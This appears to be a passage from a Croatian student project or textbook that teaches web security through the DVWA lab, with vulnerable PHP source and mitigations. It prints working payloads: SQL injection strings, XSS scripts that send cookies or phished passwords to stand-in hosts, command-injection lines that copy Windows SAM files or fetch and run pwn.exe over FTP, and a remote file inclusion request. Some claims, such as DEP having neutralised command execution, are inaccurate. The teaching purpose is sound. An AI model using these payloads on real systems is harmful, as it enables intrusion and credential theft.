glavni ciljevi su da bude potpora stručnjacima sigurnosti da testiraju svoje vještine i
alate u legalnom okruženju, da omogući web dizajnerima bolje razumijevanje procesa
zaštite web aplikacija i pomogne učiteljima/studentima da poduče/nauče sigurnost
web aplikacija.
Aplikacija daje neke pomoći i savjete za pristup nekim osnovama svake vrste napada.
Također omogućuje i prikaz izvornog koda kako se napadi odvijaju (korisno za
debugging XSS i SQLi napada). Još nam daje i tri različite razine sigurnosti web
stranice.
Slika 5.1. Izgled DVWA sučelja
78
5.1.1. SQL Injection
SQL injekcija (engl. SQL injection) je tehnika koja eksploatira sigurnosnu ranjivost
koja se događa u sloju baze podataka aplikacije. Najčešće se eksploatiraju web
aplikacije koje u svojim SQL upitima koriste podatke koje je isporučio korisnik, ali
bez prethodnog ispitivanja da li ti isti korisnički podaci sadrže neke potenijalno štetne
znakova poput navodnika, točke-zarez i sl.
U DVWA aplikaciji kad kliknemo na tab SQL Injection otvori nam se polje za unos
User ID-a. Preko tog polja sad možemo testirati ranjivosti pomoću raznih upita.
Uzet ćemo primjer za sljedeći upit: SELECT first_name, last_name FROM users
WHERE user_id = 'a' OR ''=''". Ako u polje User ID upišemo a' OR ''=' dobit ćemo
sljedeći rezultat:
ID: A' OR ''='
FIRST NAME: ADMIN
SURNAME: ADMIN
ID: A' OR ''='
FIRST NAME: GORDON
SURNAME: BROWN
ID: A' OR ''='
FIRST NAME: HACK
SURNAME: ME
ID: A' OR ''='
FIRST NAME: PABLO
SURNAME: PICASSO
ID: A' OR ''='
FIRST NAME: BOB
SURNAME: SMITH
79
To je rezultat izvođenja navedene naredbe kada je sigurnosna razina postavljena na
low. Ako je postavimo na high tada upisom te naredbe se neće ništa dogoditi.
Za ovakvo pretraživanje, mogli bi očekivati da će samo prvi odgovor biti prikazan.
Ako pogledamo DVWA izvorni kod, možemo vidjeti da je petlja stvorena da kruži za
svaki vračeni red. To je loša ideja jer za očekivani ulaz treba postojati i očekivani
izlaz za samo jedan rezultat.
Izvorni kod za low sigurnosnu razinu:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
80
}
}
?>
Izvorni kod za high sigurnosnu razinu:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
Razlika prema low sigurnosnoj razini
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
81
}
}
}
?>
Riješenja:
Ne postoji neki siguran način koji bi spriječio SQL injekciju, ali postoje načini da se
smanji vjerojatnost njenog događanja. U nastavku su dani neki od tih načina.
Provjeravati ulaz: Vrlo je važno provjeravati ulazne podatke koje je predao korisnik
kako bi se osiguralo da ne sadrže opasne kôdove, bez obzira radi li se o SQL-u ili
HTML-u. Umjesto brisanja ''loših dijelova'', jer je vjerojatnost da ćemo se sjetiti svega
što može ugroziti sigurnost vrlo malena, preporuča se brisanje svega osim ''dobrih
dijelova''.
Zabraniti navodnike i escape znakove u ulazu: No usprkos činjenici da lako možemo
provjeriti email ili telefonski broj, nije preporučljivo izbaciti navodnike iz polja imena
zbog postojanja prezimena poput O'Reilly. Postoje alati koji vrše provjeru da su
navodnici ''dobro napisani'' i koji povećavaju sigurnost, ali ne sprječavaju u potpunosti
napad.
Koristiti ograničene parametre: U slučaju ove metode zaštite SQL upiti sadrže prazna
mjesta koja su označena upitnikom i upit se prevodi u interni obrazac.
Ograničiti pristup bazi podataka i odvojiti korisnike: Potrebno je, što je moguće više,
ograničiti prava web aplikacije na pristup bazi podataka: dozvoliti pristup samo tablici
korisnika i to isključivo kroz SELECT naredbu.
Koristiti pohranjene procedure za pristup bazi podataka: Ako ih poslužitelj podržava,
preporuča se da aplikacija koristi SQL pohranjene procedure za pristup bazi, jer je na
taj način moguće spriječiti napad (pod pretpostavkom da su pohranjene procedure
dobro napisane).
82
Izolirati web poslužitelje: Potrebno je projektirati infrastrukturu mreže s
pretpostavkom da će napadač na neki način uspjeti dobiti sve dozvole pristupa
poslužitelju, te je potrebno ograničiti načine da se to iskoristi da bi se
iskompromitiralo nešto drugo.
Podesiti prijavljivanje pogrešaka: Standardne postavke prijave pogrešaka u nekim
radnim okruženjima uključuju informacije o traženju pogrešaka u programu (engl.
debugging).65
5.1.2. Cross site scripting
XSS je propust koji se javlja kad neka web aplikacija dobije zlonamjerne podatke od
korisnika, u najčešćem slučaju taj zahjtev sadrži JavaScript, HTML, VBScript ili neki
drugi kod. Jednom kad web aplikacija zaprimi takav kod prosljeđuje ga korisnku gdje
njegov web browser izvrši zlonamjerni kod.
Dvije najčešće metode XSS napada:
Prva metoda je kada korisnik pošalje web aplikaciji zlonamjerni kod i ona ga spremi
negdje na serveru (u neku bazu, neki fajl ili nesto treće) i svaki put kada neki korisnik
učita određenu stranicu web aplikacija sa servera učitava zlonamjerni kod i šalje ga
korisniku koji je posjetio tu stranicu.
Druga metoda je da se "zlonamjerni kod" ne pohranjuje na serveru nego ga korisnik
unosi nekim putem u web aplikaciju i ona mu ga proslijeđuje natrag, te se kod zatim
izvršava.
Prva metoda je korisnija od ove druge jer je lakša za exploitati. U drugoj metodi
moramo natjerati na neki način žrtvu da ona sama unese zlonamjerni kod koji će se
izvršiti na žrtvinom računalu i poslati podatke nama.
Vrste napada:
65
http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html, (učitano, 7.1.2011.)
83
•
Krađa kolačića (session data)
•
Instaliranje malware-a/trojana
•
Preusmjeravanje na
•
Mijenjanje sadržaja stranice
drugu stranicu (phishing)
U DVWA aplikaciji klikom na XSS tab nam se otvara prozor s okvirom za unos koji
nas pita „What's your name?“. Ako u taj prozor upišem svoje ime, on mi kao rezultat
izbaci Hello Tomislav što vidimo na sljedećoj slici.
Slika 5.2. XSS
U taj prozor možemo unositi razne skripte da testiramo ranjivost web aplikacije.
Unijet ćemo skriptu koja će nas preusmjeriti na stranicu našeg fakulteta. Skripta će
izgledati ovako: <script>window.location = "http://www.foi.hr"</script>
Unosom te skripte i klikom na submit preusmjerava nas na stranice Fakulteta
organizacije informatike.
Unijet
ćemo
još
skriptu
za
izradu
kolačića
koja
glasi
ovako:
<script>document.write(document.cookie); </script>
Izvođenje
ove
skripte
nam
daje
kao
rezultat:
Hello
security=low;
PHPSESSID=jdjp5vjgbv9j74v12qauc5lpm3
84
Evo i jedan primjer naprednije skripte koja omogućava lažnu prijavu:
<script>username=prompt('Please enter your username',' '); password=prompt('Please
enter your password',' '); document.write("<img src=\"http://example.com/listen.php?
username="+username+"&password="+password+"\">");</script>
Naravno, to smo sve radili na low razini sigurnosti. Kad stavimo high razinu
sigurnosti onda nam samo ispiše Hello i skriptu kako smo je i unijeli.
Razliku možemo vidjeti u izvornom kodu pojedine razine sigurnosti:
Low razina sigurnosti:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name']
== ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
High razina sigurnosti:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name']
== ''){
$isempty = true;
85
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
Riješenja:
Cross site scripting se postiže kada napadač preko legitimnog Web poslužitelja
pošalje web pregledniku žrtve napada stranicu koja sadrži zlonamjernu skriptu. Ta
skripta će se izvesti koristeći sve dozvole kao legitimna skripta sa legitimnog
poslužitelja. Razvojni programeri mogu zaštititi svoje web stranice tako da osiguraju
da dinamički generirana stranica ne sadrži neželjene oznake (engl. tag).
Da bi smanjio rizik XSS napada korisnik može onemogućiti izvođenje skriptnih
jezika u svom web pregledniku što pruža najbolju zaštitu, ali ima za posljedicu
smanjenje funkcionalnosti. Također, korisnik može slijediti linkove isključivo preko
naslovnice Web stranice koja ga zanima što će znatno smanjiti njegovo izlaganje ovoj
prijetnji uz zadržavanje funkcionalnosti preglednika.
Međutim, korisnička rješenja nisu nikad potpuna rješenja. Ostaje na razvojnim
programerima da modificiraju svoje stranice kako bi eliminirali probleme ove vrste.
To se može postići ispravnim filtriranjem i potvrđivanjem ispravnosti dobivenog
ulaza i pravilnim kodiranjem ili filtriranjem izlaza koji se vraća korisniku.
Stvaranje web stranice koja nije ranjiva na XSS napade uključuje napore razvojnih
programera, administratora poslužitelja i proizvođača preglednika. Iako su gore
navedena rješenja djelotvorna u smanjenju rizika od XSS napada, ona nisu potpuna
rješenja. Najbolje je imati na umu da se sigurnost web aplikacije mora konstantno
provjeravati i unaprjeđivati.
86
Filtriranje
Osnova ovog pristupa je da ne treba nikad vjerovati korisničkom ulazu i da je
potrebno uvjek filtrirati posebne znakove (engl. metacharacters) koji su definirani u
HTML specifikaciji. Svako ulazno polje, uključujući parametre linka, mora biti
provjereno da ne sadrže oznake skripti (engl. script tags). Ako se pronađu
nedozvoljeni znakovi, ulaz se odbacuje i na taj način se spriječava prezentiranje
zlonamjernog HTML-a u korisnikovom web pregledniku.
Filtriranje ulaza nije toliko učinkovito zato što se dinamički sadržaj može ubaciti u
bazu podataka Web stranice raznim metodama, a ne samo koristeći HTTP. U tom
slučaju, Web poslužitelj neće vidjeti podatke kao dio ulaza pa će oni ostati iskvareni.
Preporučuje se obaviti filtriranje izlaza prije nego se preda dinamičkoj stranici.
Kodiranje
Cross site scripting napadi mogu se izbjeći ako Web poslužitelj adekvatno osigurava
da se generirane stranice propisno kodiraju nebili se izbjeglo nenamjeravano
izvođenje skripti.
Svaki znak u ISO-8859-1 spscifikaciji se može kodirati koristeći njegovu numeričku
vrijednost. Tko npr. < i > se mogu napisati kao &lt i &gt, razmak se može napisati
kao %20, znakovi ( i ) kao &#40 i &#41 itd.
Općenito govoreći, kodiranje se preporuča zato što nije potrebno odlučiti koji znakovi
će se zabraniti, a koji dozvoliti. Nažalost, kodiranje svih nepouzdanih podataka može
zauzeti veliku količinu resursa i usporiti prefomanse nekih web poslužitelja.66
5.1.3. Command execution
Većina skriptnih jezika omogućuju naredbe da prođu na naredbeni redak. To je
uobičajeno loša ideja.
66
http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html, učitano 7.1.2011.
87
Slika 5.3. Sučelje s naredbenim retkom za ping IP adrese
Primjeri naredbi:
•
&& dir
•
&& regsvr32 /s evilfile.dll
•
&& wmic process list
•
&& wmic useraccount list
•
&&
copy
c:\WINDOWS\repair\sam
&&
copy
c:\WINDOWS\repair\system.bak
•
&& mkdir C:\iaclub && echo open ftp.codecrypt.com> C:\iaclub\pwn.txt &&
echo
user
iaclubdemo>>
C:\iaclub\pwn.txt
&&
echo
failboat>>
C:\iaclub\pwn.txt && echo binary>> C:\iaclub\pwn.txt && echo get
pwn.exe>> C:\iaclub\pwn.txt && echo quit>> C:\iaclub\pwn.txt && ftp s:C:\iaclub\pwn.txt && C:\iaclub\pwn.exe
88
Slika 5.4. Passwd file, ali nema shadow file
Primjeri izvornih kodova za low i high razine zaštite:
Low
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
89
?>
High
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST["ip"];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode(".", $target);
// Check IF each octet is an integer
if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2]))
&& (is_numeric($octet[3])) && (sizeof($octet) == 4) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
else {
echo '<pre>ERROR: You have entered an invalid IP</pre>';
}
}
90
?>
Vidimo da high razina sigurnosti ima dosta veće kontrole u samom izvornom kodu
nego low razina.
Riješenja:
•
•
•
•
Vezanje parametara
Provoditi najmanje privilegije
Ne koristiti dinamička sučelja upita
Ne koristiti jednostavne izlazne funkcije
5.1.4. Cross site request forgery (CSRF)
To je napad gdje žrtvin preglednik izdaje komandu web aplikaciji sa CSRF
propustom. Preglednici koji automatski uključuju autentikacijske podatke korisnika
(ID sesije, IP adresu, vjerodajnice sa Windows domene, …) sa svakim zahtjevom
aktiviraju taj propust. Učinak na tehnologiju i poslovanje je pokretanje transakcija
(prijenos novčanih sredstava, zatvaranje
account-a), pristup osjetljivim podacima, promjena account detalja i sl.
Princip rada je sljedeći:
napadač postavlja zamku na nekom Internet site-u ili
•
putem e-mail poruke (na stranicama je uključen HTML tag koji sadrži
napad na site sa CSRF propustom)
dok je logirana na site-u koji ima detektiran CSRF
•
propust, žrtva posjećuje i napadačev site (HTML tag koji sadrži napad
izvršava GET zahtjev sa vjerodajnicama žrtve na site-u sa CSRF
propustom)
•
site sa CSRF propustom obrađuje zahtjev jer je žrtva
legitimni i logiran korisnik
U DVWA aplikaciji klikom na CSRF nam se pojavljuje sljedeći prozor za low razinu
zaštite:
91
Slika 5.5. Sučelje CSRF ranjivosti za low razinu zaštite
Slika 5.6. Sučelje CSRF ranjivosti za high razinu zaštite
Iz slika 4 i 5 vidimo da se radi o promjeni lozinke administratora. Vidimo da se kod
high razine zaštite pojavljuje dodatni prozor za potvrdu unesene nove lozinke za
razliku od low razine zaštite.
To možemo vidjeti i iz samih izvornih kodova za pojedinu razinu zaštite.
Low
<?php
if (isset($_GET['Change'])) {
92
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user =
'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
High
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND
password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
93
if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) ==
1 )){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user =
'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match or current password incorrect. </pre>";
}
}
?>
Vidimo da je razlika u kodu oko provjere trenutne lozinke.
Riješenja:
• Za osjetljive podatke i vrijednosne transakcije, koristiti ponovnu ovjeru ili
koristiti transakcijska prijavljivanja za osiguranje originalnosti zahtjeva
• Izbjegavanje korištenja GET zahtjeva (URL) za osjetljive podatke ili
vrijednosne transakcije
• POST sam je nedovoljna zaštita
• Dodavanje CAPTCHA i dodatnih vrijednosti skrivene od elementa
94
Ostale vrste napada, kao i ove spomenute u ovom dijelu projekta su opisane i u
drugim dijelovima projekta kao i same metode provjere i neutraliziranja istih.
Za kvalitetnu zaštitu bitno je:
•
Ugraditi u aplikacije bolju provjeru unešenih podataka u formama i parametara
u URL-ovima
•
Zaštititi enkripcijom sve osjetljive podatke bilo u transportu bilo u pohrani
•
Instalirati specijalizirane uređaje koji će prepoznavati i sprječavati
iskorištavanja propusta u web aplikacijama – Web Application Firewall
95
6. DVWA
DVWA (engl. Damn Vulnereable Web Applicatiom) je aplikacija napisana u PHP
programskom jeziku te za svoj rad koristi MySQL bazu podataka. Osnovna svrha ove
aplikacije je da omogući sigurnosnim profesionalcima legalnu okolinu unutar koje će
moći izoštravati svoje vještine, web developerima omogućuje bolje shvaćanje procesa
zaštite web stranica te profesorima te studentima pruža mogućnost učenja o sigurnosti
web aplikacija unutar računalnog laboratorija.67
Ova aplikacija je publicirana pod licencom „Creative Commons AttributionShareAlike 2.0“ što znači da je ovu aplikaciju moguće kopirati, distribuirati te
mijenjati, no ukoliko se modificirana aplikacija bude publicirala pod drugačijim
imenom, potrebno je zadržati isti tip licence te priznati i označiti autorstvo
originalnog djela.
Na ovaj način, DVWA aplikaciju mogu koristiti svi zainteresirani pojedinci bez
straha od kršenja autorskih prava. Ova aplikacija se ne preporuča instalirati na
internetski poslužitelj jer ukoliko zlonamjerni korisnik pronađe da na vašem
poslužitelju postoji ova aplikacija, može prouzročiti veliku štetu podacima.
67
Prevedeno sa engleskog sa web stranice „http://www.dvwa.co.uk“ - učitano 4.1.2011.
96
6.1. Metode Damn Vulnerable Web Application (DVWA)
aplikacije
Ova web aplikacija sadrži nekoliko metoda koje simuliraju određeni sigurnosni
propust u dizajnu i izradi web stranica.
6.1.1. Brute Force
Složene, odnosno čvrste lozinke temelj su svake efektivne sigurnosne strategije.
Lozinkama se zaštićuje područje koje je od posebne važnosti i koje nije dopušteno za
korištenje „običnim“ korisnicima.
Brute Force je metoda upada probijanjem lozinki na način da se pokuša probiti
lozinka uspoređivanjem svake moguće kombinacije permutacije znakova potencijalne
lozinke sve dok se ne pronađe lozinka koja omogućava ulazak u lozinkom zaštićeno
područje.
Mnoge osobe stavljaju jednostavnost lozinke ispred kvalitete lozinke pa su na taj
način odlična meta osobama koje se bave „probijanjem“ tuđih lozinki, odnosno
osobama koje uz pomoć različitih programa, koji nose naziv „password crackers“ –
probijači lozinki, omogućuju pronalazak lozinki drugih osoba koje im omogućuju da
se prijave sa tuđim identifikacijskim podacima. Neki „password cracker“ programi
koriste popise riječi kako bi se probio sustav, a ti popisi riječi se sastoje od najčešće
korištenih imena korisnika (ukoliko nije poznato ime korisnika sustava koji se želi
probiti) te popisa najčešćih lozinki koje su sastavljene od slova, brojeva i posebnih
znakova. Na taj način „password cracker“ programi sa odgovarajućem korisničkom
imenu povezuju lozinku iz popisa lozinki te provjeravaju je li sustav probijen.
Na web stranici http://sectools.org/crackers.html se može pronaći kolekcija „password
cracker“ programa koji se mogu koristiti za uspješno rješavanje „Brute Force“
zadatka DVWA aplikacije. Neki od najpoznatijih programa za „brute force“ su: „Cain
and Abel“, „John the Ripper“ i „THC Hydra“.
97
6.1.2. Command Execution
Udaljeno pozivanje naredbi (engl. Remote Code Execution) je jedna od mogućih
ranjivosti web stranica, a sastoji se u tome što da zlonamjerni korisnik izvrši
programske naredbe pod privilegijama administratora operativnog sustava na kojem
se izvršava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta.
Ovaj sigurnosni propust može prouzročiti ozbiljne probleme funkcioniranju web
stranice koja je napadnuta. Napadač na ovaj način može upravljati računalom na način
koji želi , a koje ima ovakav tip sigurnosnog propusta (može upravljati korisničkim
računima na operativnom sustavu i bazi podataka i sl).
Na novijim Windows operacijskim sustavima postoji sustav Data Execution
Prevention (DEP) koji sprječava izvršavanje naredbi koje se ne nalaze u
memorijskom prostoru aplikacija. Na taj način se sprječava pokretanje zlonamjernih
aplikacija sa pokretanjem Windows-a, a koje se smjeste u memorijske lokacije
predviđene za Windows programe ili slične autorizirane programe. No dolaskom
Windows SP2 i DEP-a, ovaj sigurnosni propust je neutraliziran, na Windows
operacijskim sustavima.
6.1.3. Cross Site Request Forgery (CSRF)
Cross Site Request Forgery poznat kao i CSRF (Sea Surf), XSRF, Session Riding,
napad jednim klikom (engl. one-click attack) je oblik malicioznog iskorištavanja neke
web stranice kod koje se nedopuštene naredbe šalju od strane korisnika kojem ta web
stranica „vjeruje“.
Premda su metode CSRF i XSS poprilično slične, osnovna razlika između tih metoda
je sadržana u tome što metoda CSRF iskorištava „povjerenje“ koje ima ta web
stranica prema nekom korisniku.
Većina metoda koje pruža web stranica se mogu iskoristiti preko ovog propusta. Na
primjer, moguće je postavljati nove postove na forum, pretplatiti se na newletter,
dodavati nove korisnike i sl.
Primjer naredbe koja se može staviti kao novi forum post i koja može pokrenuti neku
naredbu unutar foruma (npr. može pokrenuti naredbu za postavljanje
administratorskih privilegija na nekog od korisnika):
98
<img src="http://host/?command">
<iframe src="http://host/?command">
Način na koji se web aplikacije mogu zaštititi od ovog načina napada jesu:
•
Ispitivanjem zaglavlja da dobije informacija od koje web stranice se pokreće
zahtjev prema određenoj web stranici unutar direktorija web aplikacije (engl.
referer), odnosno ispitivanje je li zahtjev pokrenut iz neke web stranice unutar
cijele web aplikacije
•
Smanjiti inicijalno vrijeme aktivnosti sesije
•
Postavljanjem upita za ponovno upisivanje lozinke kod „osjetljivih“ operacija
6.1.4. File inclusion
Remote File Inclusion (RFI) je oblik ranjivosti web aplikacije kojom je omogućen
napad sa udaljenog računala. RFI pruža napadačima mogućnost da pokreću svoj
vlastiti maliciozni kod na ranjivom web serveru. Napadači pokreću maliciozni kod na
ranjivom serveru na način da taj maliciozni kôd predstave kao legitimnu skriptu koja
bi se trebala nalaziti na ranjivom web serveru.
Do ovog tipa ranjivosti dolazi iz razloga što se validacija ulaznih parametara web
stranice zaboravlja postaviti ili se postavlja na način koji ostavlja sigurnosni propust.
Web stranica koja sadržava ovakav sigurnosni propust predstavlja okolinu u kojoj
napadač nesmetano može pokretati maliciozni kod te u konačnici preuzeti kontrolu
nad poslužiteljem na kojem se ta web stranica izvršava.
Kako bi se spriječio sigurnosni propust ovog tipa, potrebno je provjeriti sadrže li
unešeni parametri (engl. input) pogrešne znakove (poput zagrada i sl.) ili referencu na
datoteku koja se nalazi na nekoj udaljenoj lokaciji.
Tipičan primjer RFI, napisan u PHP programskom jeziku:
<?php
$format = 'convert_2_text';
if (isset( $_GET['FORMAT'] ) )
99
{
$format = $_GET['FORMAT’];
}
include( $format . '.php' );
?>
Kako bi iskoristio ranjivost web aplikacije, napadač će pokrenuti sljedeći zahtjev:
GET /?FORMAT=http://www.malicuos_site.com/hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)
Na taj će način PHP skripta uključiti sadržaj maliciozne datoteke „hacker.txt“ u svoju
radnu okolinu.
6.1.5. XSS
Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napadač koristi
kako bi postavio skriptu sa klijentske strane, čiji će učinak biti vidljiv svim
posjetiteljima web stranice. XSS je sigurnosni propust koji se najčešće javlja kada
neka web aplikacija dobije maliciozne podatke od napadača koji su, u najčešćim
slučajevima, JavaScript, HTML, Flash, VBScript ili neki drugi programski kôd.
Jednom kada web stranica zaprimi takav kôd, rezulat izvršavanja kôda prosljeđuje
napadaču.
XSS se najčešće koristi kako bi se došlo do kolačića (engl. cookie) korisnika
prijavljenih u sustav ili za dobivanje vrijednosti sesijske varijable (engl. session).
XSS napadi se mogu podijeliti u dvije kategorije:
•
Stored XSS
•
Reflected XSS
100
Stored XSS napadi su napadi kod kojih je maliciozni programski kod kojeg je
umetnuo napadač u ranjivu web stranicu, spremljen na serveru na kojem se nalazi
ranjiva web stranica, u bazu podataka (bilo da se radi o forumu, listi posjetitelja i sl.).
Na taj način se svaki puta kad neki korisnik učita web stranicu kod koje je iskorišten
XSS propust, server učitava maliciozni kod i šalje ga korisniku koji je posjetio tu web
stranicu.
Kod Reflected XSS napada, zlonamjerni programski kôd se ne pohranjuje na web
serveru, već ga napadač unosi na neki drugi način u web aplikaciju i ona mu ga
prosljeđuje natrag, te se programski kôd zatim izvršava. Kod ove metode običan
korisnik upisuje podatke u formu kod napadnute web stranice, ali se ti podaci umjesto
na web server koji sadrži web aplikaciju čiji je dio napadnuta web stranica, podaci se
šalju napadačevom web serveru, odnosno napadačevoj web stranici, koja je identična
„pravoj“ web stranici, zbog čega korisnik nema dojam da je došlo do velikog
sigurnosnog propusta.
Ukoliko web aplikacija ne provjerava ulazne podatke, vrlo lako je moguće doći do
kolačića (engl. cookie) autentificiranog korisnika:
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' +
escape(document.cookie);
</SCRIPT>
Ovaj programski kôd će poslati kolaćić na web adresu skripte evil.php u parametar
cakemonster.
6.1.6. Unrestricted File Upload
Omogućavanje korisnicima da postave svoje datoteke na web server, otvorilo je vrata
zlonamjernim korisnicima da u toj funkcionalnosti pronađu način za kompromitaciju
web servera.
101
Do značajnih problema uzrokovanih ovim sigurnosnim propustom dolazi zbog
manjka ispravnih načina ispitivanja sadržaja koji se postavlja na web server (engl.
upload).
Postoji nekoliko načina na koje se povećava stupanj sigurnosti da sadržaj koji se
postavlja na web server ne sadrži maliciozni kôd:
•
Ispitivanje tipa datoteke koji se postavlja na web server – na ovaj način se
sugerira kreiranje liste tipova datoteka koje se slobodno mogu postaviti na
web server, provjeravanje MIME tipa, postavljanje minimalne i maksimalne
veličine datoteke, spremanje datoteka koje su postavili korisnici na web server
u posebni direktorij nad kojim nisu postavljena dopuštenja za pokretanje
aplikacija
•
Postavljanje nasumičnih naziva datoteka i direktorija – postavljanje
nasumičnih naziva datoteka koje korisnik želi spremiti na web server i
spremanje istih u nasumično kreirane direktorije, a korištenje datoteka se
sastoji u tome da je u bazi podataka zabilježeno koja datoteka se nalazi u
kojem direktoriju.
•
Sigurnost direktorija web aplikacije – postavljanje datoteka u direktorij koji
ne sadrži datoteke web aplikacije.
•
Skeniranje datoteka antivirusnim programom na web serveru
•
Postavljanje i spremanje osjetljivih dokumenata u enkriptiranom obliku na ovaj način se osjetljivi podaci moraju postaviti na web server u
enkriptiranom obliku, preko SSL veze
•
Postavljanje stranice sa greškama – na stranicama koje prikazuju poruku o
grešci potrebno je postaviti ograničenje prikazivanja teksta greške, a najbolje
bi bilo korištenje neke definirane web stranice koja će prikazivati tekst greške
ovisno o vrsti greške
•
Zapisivanje aktivnosti korisnika – stvaranje zapisa (engl. logs) aktivnosti
korisnika kako bi se moglo saznati koje su radnje izvršavane nad web
serverom i je li došlo do probijanja sigurnosti.
102
6.1.7. SQL Injection
SQL injection je metoda koji omogućuje napadaču web stranice koja ima ovaj
sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica „uzima“
podatke.
Do ovog tipa ranjivosti dolazi ukoliko napadnuta web stranica ne provjerava podatke
koje je dobila od napradača, već tako na temelju neprovjerenih podataka pokreće SQL
upite koji mogu naštetiti strukturi i podacima baze podataka.
Napadači uobičajeno provjeravaju je li web stranica ranjiva metodom SQL injection,
upisivanjem parametara web stranici koja će vratiti poruku o grešci u SQL upitu.
Ukoliko napadač primjeti kako postoji tekst greške o nevaljalom SQL upitu, on će na
temelju ispravnog upita dodavati novi SQL upit preko kojeg će probijati sigurnost
podataka napadnute baze podataka. Postavljanjem zabrane prikazivanja teksta greške,
problem se ne rješava u potpunosti već je ranjiva za tzv. „blind“ SQLi napade.
6.1.7.1. Blind SQL Injection
Web aplikacije uobičajeno koriste SQL upite sa WHERE klauzulom, u koju se
postavljaju daljnji parametri, kako bi se pretezentirao određeni sadržaj krajnjem
korisniku. Dodavanjem dodatnih uvjeta u SQL upit prisiljavanjem web aplikacije da
takav upit izvrši, napadače može ustanoviti je li web stranica ima „blind“ SQLi
ranjivost.
Na primjer, mnoge tvtke imaju web stranicu u koju dopisuju novosti iz poslovanja,
promijenjene kataloge proizvoda i sl. Ovo je primjer web kataloga stranice neke
tvrtke koja se bavi prodajom bicikala.
www.bicikli-strauss.hr/proizvod.php?id=2
SQL upit koji bi uzimao proizvod izgleda ovako:
SELECT * FROM proizvod WHERE id_proizvoda='2'
Na ovaj način, podaci o drugom proizvodu bi web apliakcija preuzela iz baze
podataka i prezentirala korisniku.
103
Ukoliko je ova web stranica ima SQLi ranjivost, napadač će unijeti dodatne uvijete u
gore navedeni upit, poput:
SELECT * FROM proizvod WHERE id_proizvoda='2 AND '1'='1'
Ukoliko se ovim upitom („AND '1'='1“) ne prikaže nikakva greška od strane web
stranice, napadač će zaključiti da ta web stranica ima SQLi ranjivost.
Tada će napadač upisivati puno složenije i malicioznije upite kojima može saznati
naziv baze podataka, broj tablica u toj bazi podataka, nazive tih tablica, podatke koji
su spremljeni u pojedninim tablicama i sl.
U sljedećem primjeru složenijeg upita, na temelju SQLi ranjivosti web stranice koja je
izrađena u PHP programskom jeziku koristi MySQL bazu podataka, napadač može
doznati naziv aktivne baze podataka:
www.bicikli-strauss.hr/proizvod.php?id=2' and(select 1
from(select count(*),concat((select (select
concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e))
